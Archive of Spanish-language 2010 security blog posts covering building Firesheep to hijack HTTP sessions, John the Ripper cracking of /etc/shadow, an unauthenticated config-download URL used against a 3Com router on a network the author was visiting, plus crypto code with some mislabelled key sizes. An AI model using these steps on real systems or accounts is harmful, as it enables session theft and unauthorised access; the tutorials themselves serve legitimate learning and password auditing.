Nov 24

Introducción.

Firesheep es un plugin de Firefox que permite fácilmente secuestrar sesiones HTTP en ciertas condiciones y de ciertas aplicaciones web gracias a que estas utilizan el protocolo seguro de transporte HTTPS únicamente durante la autenticación, transmitiendo el resto de la información plana permitiendo que otros usuarios se apoderen de la información de la sesión de usuario y puedan acceder a sitios como Facebook, Twitter y blogs de WordPress entre otros con las credenciales del usuario afectado.  Esto es notoriamente grave en las inalámbricas públicas que pueden ser accedidas sin autenticación alguna.

La solución a esta debilidad de las aplicaciones web será entonces utilizar el protocolo HTTPS durante toda la sesión del usuario, no sólamente durante la autenticación como estas aplicaciones afectadas hacen actualmente.  Como protección desde el lado del usuario es posible utilizar plugins como HTTPS Everywhere que obligan al navegador a utilizar el protocolo HTTPS todo el tiempo que se acceda a determinados sitios web.  De igual manera han aparecido aplicaciones que prometen detectar y combatir el uso de Firesheep en las redes y con las que estaré experimentando próximamente.

Actualmente este plugin puede descargarse para Firefox bajo Windows y OSX, la versión para Linux no se encuentra actualmente disponible, sin embargo como el proyecto es de código abierto es muy fácil obtener el código y compilarlo para esta plataforma tal y como se describe a continuación.

Construír el software.

Instalar git.

El cliente de git es necesario para acceder al código fuente del plugin que se encuentra almacenado en un repositorio de GitHub.

$ sudo aptitude install git-core

Obtener el código fuente.

$ mkdir /tmp/firesheep && cd /tmp/firesheep

$ git clone https://github.com/codebutler/firesheep.git

$ cd firesheep

$ git submodule update --init

Instalar las dependencias.

Estos paquetes son necesarios para la construcción del plugin a partir de su código fuente.

$ sudo apt-get install autoconf libtool libpcap-dev libboost-all-dev libhal-dev xulrunner-1.9.2-dev

Construír el plugin.

$ ./autogen.sh

$ make

Instalar el software.

Desde Firefox elija la opción de abrir un archivo (CTRL+O).

File > Open File...

Y seleccione el archivo /tmp/firesheep/firesheep/build/firesheep.xpi.

Usar el software.

Una vez activado el plugin este puede visualizarse como una barra lateral mediante View > Firesheep o la combinación de teclas CTRL+SHIFT+S.

Firesheep en Ubuntu 10.10

Firesheep en Ubuntu 10.10

Su uso es muy sencillo, simplemente presione el botón Start capturing y espere a que la aplicación capture la información de las sesiones en la red, las cuales aparecerán en la barra lateral situada al lado izquierdo.

Enlaces.

Tagged with:



En November 24 de 2010, Jorge Iván Meza Martínez escribió acerca de Construír e instalar Firesheep en GNU/Linux Ubuntu 10.10.
Nov 02

Introducción.

A pesar de las apariencias iniciales, Ubuntu si incluye un firewall sólo que este no incluye reglas ya que por defecto no vienen servicios abiertos.  El firewall incluído es Netfilter y para él se incluye además una herramienta que facilita su administración llamada Uncomplicated Firewall (ufw).

Esta herramienta es muy sencilla de usar, sin embargo es de línea de comando y esto en algunas ocasiones la hace mas compleja de utilizar.  Para esto se incluye en los repositorios de Ubuntu a gufw el cual es un front-end grafico para ufw.

Instalación y ejecución de gufw.

$ sudo aptitude install gufw

Para ejecutarlo acceda a la aplicación a través de los siguientes menúes.

System > Administration > Firewall Configuration.

Funcionalidades de gufw.

En la ventana inicial de la aplicación es posible activarlo y desactivarlo, definir las políticas generales de entrada y salida, y las reglas o excepciones específicas.

Ventanan inicial de gufw

Ventanan inicial de gufw

Generalmente la política utilizada es nada entra-todo sale, es decir, se confía en el uso que las aplicaciones de la máquina va a hacer de la red.  Una aproximación mas segura sería la mas restrictiva de nada entra-nada sale pero sería necesario especificar uno a uno los sitios a los cuales se realizará conexión (incluyendo los sitios web!) así como efectivamente será necesario hacerlo para las conexiones entrantes.

Las reglas pueden crearse utilizando tres aproximaciones que van desde la mas simple en la que se eligen aplicaciones o servicios predefinidos, pasando por una intermedia en la que es posible especificar puertos y o eligiendo una opción avanzada con la cual no solo es posible elegir puertos sino que también es posible establecer rangos de direcciones IP.

Creación de reglas con gufw

Creación de reglas con gufw

También es posible verificar el registro del servicio del cual puede determinarse su nivel de profundidad.

Registro de eventos con gufw

Registro de eventos con gufw

Conclusión.

Existen otras soluciones de firewall para Linux mas elaboradas que ufw (como por ejemplo Zentyal, antes ebox), sin embargo su combinación con gufw es suficiente para las necesidades de filtrado de la mayoría de los escritorios.

Enlaces.

Tagged with:



En November 2 de 2010, Jorge Iván Meza Martínez escribió acerca de Instalar un firewall personal en GNU/Linux Ubuntu 10.10.
Nov 01

Introducción.

En criptografía, RSA (Rivest, Shamir y Adleman) es un sistema criptográfico de clave pública desarrollado en 1977. En la actualidad, RSA es el primer y más utilizado algoritmo de este tipo y es válido tanto para cifrar como para firmar digitalmente.

La seguridad de este algoritmo radica en el problema de la factorización de números enteros. Los mensajes enviados se representan mediante números, y el funcionamiento se basa en el producto, conocido, de dos números primos grandes elegidos al azar y mantenidos en secreto. Actualmente estos primos son del orden de 10200, y se prevé que su tamaño aumente con el aumento de la capacidad de cálculo de los ordenadores.

Como en todo sistema de clave pública, cada usuario posee dos claves de cifrado: una pública y otra privada. Cuando se quiere enviar un mensaje, el emisor busca la clave pública del receptor, cifra su mensaje con esa clave, y una vez que el mensaje cifrado llega al receptor, este se ocupa de descifrarlo usando su clave privada.

Se cree que RSA será seguro mientras no se conozcan formas rápidas de descomponer un número grande en producto de primos. La computación cuántica podría proveer de una solución a este problema de factorización.

Tomado del artículo RSA de Wikipedia.

Implementación.

La aplicación de demostración de esta técnica requiere del uso de por lo menos los siguientes namespaces.

using System;
using System.IO;
using System.Security;
using System.Security.Cryptography;

Proveedor del servicio de cifrado RSA.

El núcleo de la implementación es el objeto RSACryptoServiceProvider que realiza las labores de cifrado/descifrado de información.

public static RSACryptoServiceProvider rsa;

Establecer los valores iniciales del servicio.

En este punto se establecen los valores iniciales de configuración del servicio, los cuales son en su mayoría opcionales, y se instancia el objeto mencionado anteriormente.

const string CONTAINER_NAME = "ContenedorRSA";
CspParameters cspParams;
cspParams = new CspParameters(1);	// PROV_RSA_FULL
cspParams.Flags = CspProviderFlags.UseDefaultKeyContainer;
cspParams.KeyContainerName = CONTAINER_NAME;
// Instanciar el algoritmo de cifrado RSA
rsa = new RSACryptoServiceProvider(cspParams);

Generar las llaves.

En esta etapa se crea una pareja de llaves: pública y privada, para las labores de cifrado.  Estas se almacenan por conveniencia en formato XML en los archivos llave_publica.xml y llave_privada.xml correspondientemente.

// Generar y almacenar la llave pública
writer = new StreamWriter(@"llave_publica.xml");
string publicOnlyKeyXML = rsa.ToXmlString(false);
writer.Write(publicOnlyKeyXML);
writer.Close();
// Generar y almacenar la llave privada
writer = new StreamWriter(@"llave_privada.xml");
string publicPrivateKeyXML = rsa.ToXmlString(true);
writer.Write(publicPrivateKeyXML);
writer.Close();

Cargar las llaves.

Una vez que han sido creadas y almacenadas las llaves, estas no deben ser creadas nuevamente.  Para su uso se cargan desde los correspondientes archivos XML y se asocian con el proveedor de cifrado.

// Cargar y asociar la llave pública al proveedor de cifrado
StreamReader reader = new StreamReader(@"llave_publica.xml");
string publicOnlyKeyXML = reader.ReadToEnd();
rsa.FromXmlString(publicOnlyKeyXML);
reader.Close();
// Cargar y asociar la llave privada (y pública) al proveedor de cifrado
StreamReader reader = new StreamReader(@"llave_privada.xml");
string publicPrivateKeyXML = reader.ReadToEnd();
rsa.FromXmlString(publicPrivateKeyXML);
reader.Close();

Cifrar la información.

Para realizar el cifrado de los datos es necesario contar con la llave pública del destinatario.

cargarLlavePublica();
// Convertir el texto a cifrar (plano) a su representación en bytse
byte[] textoPlanoBytes = System.Text.Encoding.UTF8.GetBytes(textoPlano);
// Realizar el proceso de cifrado
byte[] textoCifradoBytes = rsa.Encrypt(textoPlanoBytes, false);
// Convertir el mensaje cifrado a su representación en cadena
string MensajeCifrado = Convert.ToBase64String(textoCifradoBytes);

Descifrar la información.

Para descifrar los datos y obtener el mensaje original es necesario contar con la llave privada del destinatario del mensaje.

cargarLlavePrivada();
// Convertir el texto cifrado a su representación en bytse
byte[] textoCifradoBytes = Convert.FromBase64String(textoCifrado);
// Realizar el proceso de descifrado
byte[] textoPlanoBytes = rsa.Decrypt(textoCifradoBytes, false);
// Convertir el mensaje descifrado a su representación en cadena
string MensajeDescifrado = System.Text.Encoding.UTF8.GetString(textoPlanoBytes);

Aplicación de demostración.

Aplicación de demostración del uso del algoritmo

Aplicación de demostración del uso del algoritmo RSA

$ gmcs “/out:RSASample.exe” “/r:/usr/lib/mono/2.0/System.dll” /t:exe “RSASample/Main.cs”

Enlaces.

Tagged with:



En November 1 de 2010, Jorge Iván Meza Martínez escribió acerca de Cifrado y descifrado asimétrico con RSA utilizando C#/Mono.
Oct 31

Introducción.

Advanced Encryption Standard (AES), también conocido como Rijndael (pronunciado “Rain Doll” en inglés), es un esquema de cifrado por bloques adoptado como un estándar de cifrado por el gobierno de los Estados Unidos. El AES fue anunciado por el Instituto Nacional de Estándares y Tecnología (NIST) como FIPS PUB 197 de los Estados Unidos (FIPS 197) el 26 de noviembre de 2001 después de un proceso de estandarización que duró 5 años.  Se transformó en un estándar efectivo el 26 de mayo de 2002. Desde 2006, el AES es uno de los algoritmos más populares usados en criptografía simétrica.

El cifrador fue desarrollado por dos criptólogos belgas, Joan Daemen y Vincent Rijmen, ambos estudiantes de la Katholieke Universiteit Leuven, y enviado al proceso de selección AES bajo el nombre “Rijndael”.

Tomado del artículo Advanced Encryption Standard de Wikipedia.

Implementación con strings.

La aplicación de demostración de esta técnica requiere del uso de por lo menos los siguientes namespaces.

using System;
using System.Security.Cryptography;
using System.Text;
using System.IO;

Establecer la clave y el vector de inicio.

Estos valores pueden ser especificados manualmente o de manera automática por el framework.  La implementación para permitir que se definan automáticamente estos valores es la siguiente.

Rijndael rijndael = Rijndael.Create();
byte[] key = rijndael.Key;
byte[] iv  = rijndael.IV;

Es posible forzar la generación de nuevas claves y nuevos vectores de inicio para el algoritmo utilizando los métodos rijndael.GenerateKey() y rijndael.GenerateIV() respectivamente.

Si por el contrario se desea especificar estos valores manualmente su implementación es la siguiente siendo strKey y strIv, la clave y el vector de inicialización como cadenas de texto.

byte[] key = UTF8Encoding.UTF8.GetBytes(strKey);
byte[] iv  = UTF8Encoding.UTF8.GetBytes(strIv);

Especificando estos valores manualmente es necesario garantizar que sus longitudes sean válidas para el algoritmo.  En este caso se utilizará una longitud de clave de 32 bits y una longitud de vector de inicio de 16 bits.

int keySize = 32;
int ivSize = 16;
Array.Resize(ref key, keySize);
Array.Resize(ref iv, ivSize);

Cifrado de cadenas de texto.

Para cifrar la información se requiere de los siguientes parámetros.

  1. Cadena de texto con los datos a cifrar.
  2. Clave.
  3. Vector de inicio.

El proceso retornará finalmente una cadena de texto con los datos cifrados.

/**
 * Cifra una cadena texto con el algoritmo de Rijndael
 *
 * @param	plainMessage	mensaje plano (sin cifrar)
 * @param	Key		        clave del cifrado para Rijndael
 * @param	IV		        vector de inicio para Rijndael
 * @return	string		        texto cifrado
 */
public static string encryptString(String plainMessage, byte[] Key, byte[] IV)
{
    // Crear una instancia del algoritmo de Rijndael
    Rijndael RijndaelAlg = Rijndael.Create();
    // Establecer un flujo en memoria para el cifrado
    MemoryStream memoryStream = new MemoryStream();
    // Crear un flujo de cifrado basado en el flujo de los datos
    CryptoStream cryptoStream = new CryptoStream(memoryStream,
                                                 RijndaelAlg.CreateEncryptor(Key, IV),
                                                 CryptoStreamMode.Write);
    // Obtener la representación en bytes de la información a cifrar
    byte[] plainMessageBytes = UTF8Encoding.UTF8.GetBytes(plainMessage);
    // Cifrar los datos enviándolos al flujo de cifrado
    cryptoStream.Write(plainMessageBytes, 0, plainMessageBytes.Length);
    cryptoStream.FlushFinalBlock();
    // Obtener los datos datos cifrados como un arreglo de bytes
    byte[] cipherMessageBytes = memoryStream.ToArray();
    // Cerrar los flujos utilizados
    memoryStream.Close();
    cryptoStream.Close();
    // Retornar la representación de texto de los datos cifrados
    return Convert.ToBase64String(cipherMessageBytes);
}

Descifrado de cadenas de texto.

El proceso inverso, el de descifrado, se realiza de manera antagónica.  Para hacerlo es necesario contar con los siguientes parámetros.

  1. Cadena de texto con los datos cifrados.
  2. Clave.
  3. Vector de inicio.

El proceso retornará finalmente una cadena de texto con los datos descifrados.

/**
 * Descifra una cadena texto con el algoritmo de Rijndael
 *
 * @param	encryptedMessage	mensaje cifrado
 * @param	Key			clave del cifrado para Rijndael
 * @param	IV			vector de inicio para Rijndael
 * @return	string			texto descifrado (plano)
 */
public static string decryptString(String encryptedMessage, byte[] Key, byte[] IV)
{
    // Obtener la representación en bytes del texto cifrado
    byte[] cipherTextBytes = Convert.FromBase64String(encryptedMessage);
    // Crear un arreglo de bytes para almacenar los datos descifrados
    byte[] plainTextBytes = new byte[cipherTextBytes.Length];
    // Crear una instancia del algoritmo de Rijndael
    Rijndael RijndaelAlg = Rijndael.Create();
    // Crear un flujo en memoria con la representación de bytes de la información cifrada
    MemoryStream memoryStream = new MemoryStream(cipherTextBytes);
    // Crear un flujo de descifrado basado en el flujo de los datos
    CryptoStream cryptoStream = new CryptoStream(memoryStream,
                                                 RijndaelAlg.CreateDecryptor(Key, IV),
                                                 CryptoStreamMode.Read);
    // Obtener los datos descifrados obteniéndolos del flujo de descifrado
    int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
    // Cerrar los flujos utilizados
    memoryStream.Close();
    cryptoStream.Close();
    // Retornar la representación de texto de los datos descifrados
    return Encoding.UTF8.GetString(plainTextBytes, 0, decryptedByteCount);
}

Implementación con archivos.

El cifrado y descifrado de mensajes en archivos se realiza de manera similar al expuesto anteriormente con cadenas, sin embargo varían los flujos (streams) utilizados para obtener y dirigir el flujo de la información.

Cifrado a archivos.

/**
 * Cifra una cadena texto con el algoritmo de Rijndael y lo almacena en un archivo
 *
 * @param	plainMessage	mensaje plano (sin cifrar)
 * @param	filename	        nombre del archivo donde se almacenará el mensaje cifrado
 * @param	Key		        clave del cifrado para Rijndael
 * @param	IV		        vector de inicio para Rijndael
 * @return	void
 */
public static void encryptToFile(String plainMessage, String filename, byte[] Key, byte[] IV)
{
    // Crear un flujo para el archivo a generarse
    FileStream fileStream = File.Open(filename, FileMode.OpenOrCreate);
    // Crear una instancia del algoritmo Rijndael
    Rijndael RijndaelAlg = Rijndael.Create();
    // Crear un flujo de cifrado basado en el flujo de los datos
    CryptoStream cryptoStream = new CryptoStream(fileStream,
                                                 RijndaelAlg.CreateEncryptor(Key, IV),
                                                 CryptoStreamMode.Write);
    // Crear un flujo de escritura basado en el flujo de cifrado
    StreamWriter streamWriter = new StreamWriter(cryptoStream);
    // Cifrar el mensaje a través del flujo de escritura
    streamWriter.WriteLine(plainMessage);
    // Cerrar los flujos utilizados
    streamWriter.Close();
    cryptoStream.Close();
    fileStream.Close();
}

Descifrado de archivos.

/**
 * Descifra el contenido de un archivo con el algoritmo de Rijndael y lo retorna
 * como una cadena de texto plano
 *
 * @param	filename		nombre del archivo donde se encuentra el mensaje cifrado
 * @param	Key			clave del cifrado para Rijndael
 * @param	IV			vector de inicio para Rijndael
 * @return	string			mensaje descifrado (plano)
 */
public static string decryptFromFile(String filename, byte[] Key, byte[] IV)
{
    // Crear un flujo para el archivo a generarse
    FileStream fileStream = File.Open(filename, FileMode.OpenOrCreate);
    // Crear una instancia del algoritmo Rijndael
    Rijndael RijndaelAlg = Rijndael.Create();
    // Crear un flujo de cifrado basado en el flujo de los datos
    CryptoStream cryptoStream = new CryptoStream(fileStream,
                                                 RijndaelAlg.CreateDecryptor(Key, IV),
                                                 CryptoStreamMode.Read);
    // Crear un flujo de lectura basado en el flujo de cifrado
    StreamReader streamReader = new StreamReader(cryptoStream);
    // Descifrar el mensaje a través del flujo de lectura
    string plainMessage = streamReader.ReadLine();
    // Cerrar los flujos utilizados
    streamReader.Close();
    cryptoStream.Close();
    fileStream.Close();
    return plainMessage;
}

Aplicación de demostración.

La aplicación de demostración incluye los conceptos y el código expuestos en este artículo.  Con ella es posible cifrar y descifrar un mensaje que consiste en una cadena de texto arbitraria en memoria y en un archivo.

Aplicación de demostración del uso del algoritmo Rijndael

Aplicación de demostración del uso del algoritmo Rijndael

Construír la aplicación.

La aplicación de demostración puede construírse utilizando la solución incluída en la distribución con MonoDevelop o Visual Studio.  También es posible construírla desde línea de comando (Mono) mediante la siguiente instrucción.

$ gmcs “/out:RijndaelSample.exe” “/r:/usr/lib/mono/2.0/System.dll” /t:exe “RijndaelSample/Main.cs”

Enlaces.

Tagged with:



En October 31 de 2010, Jorge Iván Meza Martínez escribió acerca de Cifrado y descifrado simétrico con Rijndael (AES) utilizando C#/Mono.
Oct 30

Introducción.

Una función de hashing recibe un bloque de datos arbitrarios y genera de manera determinística un arreglo de bytes con el valor de su hash, el cual tiene como característica el ser único para los datos procesados.

Los valores de hash tienen múltiples usos, entre ellos se utilizan en la criptografía para garantizar que la información de un mensaje no ha sido modificada.  Con este mismo uso, comúnmente se utiliza para determinar si la descarga de archivos ha sido exitosa o no (md5sum).

Existen varios algortimos de hashing, los mas conocidos son MD5 de 128 bits y SHA1 de 160 bits.  El primero de ellos es muy utilizado actualmente, especialmente para el almacenamiento de contraseñas, sin embargo ya no se considera seguro por lo cual es conveniente utilizar el segundo mencionado.

Implementación en C#/Mono.

Para la implementaciones que se describen a continuación se utilizaron los siguientes namespaces.

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

Calcular el hash de una cadena.

El primer paso es crear instancias de los algoritmos de hashing.

HashAlgorithm md5  = HashAlgorithm.Create("MD5");
HashAlgorithm sha1 = HashAlgorithm.Create("SHA1");

Posteriormente se calcula el valor del hash de la cadena texto (text) especificada.

Byte[] md5Data  = md5.ComputeHash(UTF8Encoding.UTF8.GetBytes(text));
Byte[] sha1Data = sha1.ComputeHash(UTF8Encoding.UTF8.GetBytes(text));

Finalmente su valor puede ser manipulado o entregado al usuario.

Console.WriteLine("MD5:  " + BitConverter.ToString(md5Data).Replace("-", ""));
Console.WriteLine("SHA1: " + BitConverter.ToString(sha1Data).Replace("-", ""));

Calcular el hash de un archivo.

El procedimiento es muy similar al cálculo de hash de una cadena, pero a diferencia de este, los datos provienen de un flujo de archivo al cual se le calcula su valor.

FileStream fs = File.OpenRead(filename);
md5Data  = md5.ComputeHash(fs);
sha1Data = sha1.ComputeHash(fs);
fs.Close ();
Tagged with:



En October 30 de 2010, Jorge Iván Meza Martínez escribió acerca de Calculando hashes (MD5 y SHA1) con C#/Mono.
Oct 29

Introducción.

Una de las primeras cosas que debemos verificar quienes estamos preocupados por la seguridad de los servidores y aplicaciones es la seguridad de las contraseñas que eligen y utilizan a diario los usuarios.  A nivel de aplicación y de sistema operativo se establecen políticas que les obligan a los usuarios a elegir combinaciones de caracteres con una confiabilidad que consideramos suficiente.  Pero cuan seguras son realmente esas claves ?

John the Ripper es una aplicación que pretende averiguar las contraseñas a través de un ataque de fuerza bruta.  Para esto es necesario contar con acceso a la base de datos de los usuarios (/etc/passwd) y de las contraseñas cifradas (/etc/shadow) del sistema operativo.  Su uso es muy simple y como se mencionó anteriormente, es muy útil para establecer si las contraseñas son fáciles de establecer o no mediante este tipo de ataques.

Instalación en Ubuntu.

Simplemente es necesario instalar el paquete que se encuentra en los repositorios estándar.

$ sudo aptitude install john

Utilizar JTR.

El primer paso consiste en generar un archivo intermedio entre la lista de usuarios y sus contraseñas cifradas.

$ sudo unshadow /etc/passwd /etc/shadow > usuarios.db

A continuación se inicia el proceso de verificación de contraseñas por fuerza bruta.

$ john usuarios.db

Este proceso puede tomar una cantidad considerable de tiempo y recursos de procesamiento.  En cualquier momento es posible consultar las contraseñas que ya han sido determinadas y la cantidad de contraseñas pendientes mediante la siguiente instrucción.

$ john -show usuarios.db

Es posible continuar con una sesión previa que fue interrumpida ubicándose en el mismo directorio donde se encuentra el archivo de datos y ejecutando la siguiente instrucción.

$ john -restore

La información del proceso y las contraseñas encontradas se almacenan bajo la ruta ~/.john.

Enlaces.

Tagged with:



En October 29 de 2010, Jorge Iván Meza Martínez escribió acerca de Verificar la seguridad de las contraseñas de GNU/Linux con John the Ripper.
Sep 20

Introducción.

A pesar de que el hosting donde se almacena mi blog no cuenta con certificados SSL para poder implementar HTTPS siempre me había preguntado si era posible realizar conexiones seguras con ese servidor específico para realizar ciertas transacciones, es decir, me importaba especialmente mi acceso de administrador cuando debía ingresar mi nombre de usuario y contraseña para autenticarme ya que mediante el HTTP estas viajan planas (sin cifrado).

Ya que por estos días he vuelto a escribir acerca del protocolo SSH, me doy por fin la tarea de detallar este procedimiento, que a través de un túnel SSH con el servidor permite establecer conexiones seguras y temporales con el mismo.

Precondiciones.

  • El servidor cuenta, además del servicio HTTP, con el servicio de SSH.
  • El usuario cuenta con una cuenta de usuario y contraseña válidas para acceder al servidor a través de SSH.
  • La conexión se considera segura hasta el servidor que se contacta (el hosting del blog en mi caso), si se acceden sitios mas allá de él la transmisión será insergura.
  • El cliente cuenta con un navegador web que permita configurar su proxy.  Se recomienda utilizar Firefox.

Procedimiento.

Establecer el túnel seguro.

En esta etapa inicial se crea un túnel SSH entre el equipo cliente y el servidor (que almacena el blog).

$ ssh -fND 4711 usuario@mi.blog.com

El túnel se conecta del lado del cliente mediante el puerto 4711 (definido por el usuario).  La instrucción ssh es enviada automáticamente a background después de realizarse la autenticación (normalmente basada en nombre de usuario y contraseña).  Si desea evitar este comportamiento, remueva el parámetro -f de la instrucción.

Configurar a Firefox para utilizar el túnel.

Es necesario indicarle a Firefox que enrrute el tráfico de información a través del túnel recién creado.  Para hacer esto es necesario acceder a las preferencias de red mediante los menúes Edit > Preferences y allí activar la sección Advanced (parte superior) y presionar el botón Settings en la pestaña Network (parte media).

Configuración de conexión de Firefox

En el diálogo de configuración de conexiones seleccione la opción Manual proxy configuration y especifique la dirección 127.0.0.1 como SOCKS Host y 4711 como Port.  Este último valor deberá coincidir con el utilizado durante el establecimiento del túnel.

Una alternativa mas flexible a esta es el uso de FoxyProxy, un plugin para Firefox que permite manipular sus proxies de una forma mas eficiente.  Presione CTRL+F2 para acceder a la configuración de este plugin, presione el botón Add New Proxy e ingrese la información del túnel.

FoxyProxy plugin, Proxy Settings

Configurar a Firefox para incluír las peticiones de DNS a través del túnel (opcional).

Hasta este punto la comunicación entre el cliente y el servidor, a pesar de que se realiza utilizando el protocolo HTTP, se realiza de manera cifrada ya que se hace utilizando el túnel SSH.  Por fuera de esta comunicación quedan las solicitudes para resolver nombres a través del servicio DNS que hace el cliente antes de transmitir la información a través del túnel.  Esto probablemente no sea un riesgo significativo de seguridad pero enrrutarlas a través del túnel confiere un poco mas de privacidad, al menos a nivel de la LAN ya que no será posible identificar localmente esta información mediante el uso de un sniffer.

Por suerte Firefox permite configurarse para incluír las peticiones al DNS a través de un proxy SOCKS, el cual en este caso es el túnel SSH.  Para hacer esto es necesario acceder al siguiente URL en el navegador: about:config.

Opciones de configuración de Firefox relacionadas con proxies.

Finalmente ubique la variable network.proxy.socks_remote_dns y modifique su valor a true.

Si utiliza FoxyProxy puede realizar esta configuración por proxy ingresando a la configuración del proxy elegido (Proxy Settings) y seleccionando la casilla de verificación Perform remote DNS lookups on hostnames loading through this proxy en la pestaña General.

Finalizar el túnel.

Para terminar la existencia del túnel simplemente finalice la aplicación de ssh, ya sea terminando la aplicación con CTRL+C (si no estaba en background) o matando su proceso mediante el comando kill.

Recuerde ajustar nuevamente el proxy activo en Firefox para continuar utilizando el tipo de conexión habitual en su equipo.

Tagged with:



En September 20 de 2010, Jorge Iván Meza Martínez escribió acerca de Establecer una conexión web segura con un sitio web sin HTTPS a través de un tunel SSH con GNU/Linux.
Jan 18

Introducción.

El viernes pasado mientras aprendía acerca de Team Software Process se me ocurrió echar una mirada para intentar encontrar la dirección del filtro de contenido de la red que en la que estaba que la hacía prácticamente inútil bloqueando la mayoría de los sitios web de interés general.

Un traceroute de los sitios bloqueados no me mostró la ubicación que quería, sólo permitía llegar hasta el enrrutador inalámbrico que me estaba permitiendo acceder a la red LAN.  Decepcionado terminé saludándolo para darme cuenta de un problema de seguridad que ocultaba.

Conociendo al dispositivo.

Inicialmente no me dijo mucho, sólo que aparentemente era un dispositivo 3Com (o al menos su interfaz de red lo era).

$ sudo nmap -sA -O 192.168.2.1

Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-16 08:10 COT
All 1000 scanned ports on 192.168.2.1 are unfiltered
MAC Address:
00:FF:C1:4D:FF:EE (3com Europe)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

Posteriormente lo confirmé al ver que el dispositivo 3Com ejecutaba aparentemente una versión de Linux con el kernel 2.6 lo cual es relativamente reciente.

$ sudo nmap -sS -O 192.168.2.1

Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-16 08:09 COT
Interesting ports on 192.168.2.1:
Not shown: 998 closed ports
PORT   STATE SERVICE
53/tcp open  domain
80/tcp open  http
MAC Address: 00:FF:C1:4D:FF:EE (3com Europe)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22

Network Distance: 1 hop

También se hizo evidente que el dispositivo permitía su administración a través de web (puerto 80).

Accediendo a el dispositivo utilizando un navegador web encontré que era finalmente un 3Com OfficeConnect Wireless 11g.  Sabiendo esto investigué un poco si había problemas conocidos con este dispositivo.

La vulnerabilidad.

Resulta que estos dispositivos manejan incorrectamente la autenticación/autorización de su módulo web de administración, protegiendo correctamente a las páginas pero permitiendo el acceso directo a los CGIs.  Esto unido a que el método de copia de seguridad de la configuración del router genera un archivo (config.bin) con esta información y lo almacena en su memoria interna para que el administrador lo descargue, termina convirtiéndose en un grave problema de seguridad.

El archivo puede descargarse mediante un CGI llamado SaveCfgFile así que para obtenerlo sólo es necesario acceder a él mediante un navegador web.

http://192.168.2.1/SaveCfgFile.cgi

El archivo contiene toda la configuración del enrrutador, incluyendo su información de red y contraseñas de administración!


httpd_username=admin
httpd_password=admin

mradius_username=admin
mradius_password=admin
mradius_secret=mradius1218
mradius_port=1812

http_username=admin
login_password=admin
http_passwd=admin

Conclusiones.

Esta vulnerabilidad fue reportada a 3Com por Luca Carettoni de ikkisoft.com en diciembre de 2008 y fue conocida por el público en general en febrero del 2009.

Supongo que desde hace tanto tiempo para acá 3Com ya ha solucionado esta vulnerabilidad y se encuentra disponible una actualización del firmware que la soluciona.

Debe tenerse especial cuidado en los dispositivos que tengan la opción de Remote Administration activa ya que esta vulnerabilidad podrá ser explotada desde Internet.

Enlaces.

Tagged with:



En January 18 de 2010, Jorge Iván Meza Martínez escribió acerca de Problemas de autenticación/autorización de un 3Com OfficeConnect Wireless Router.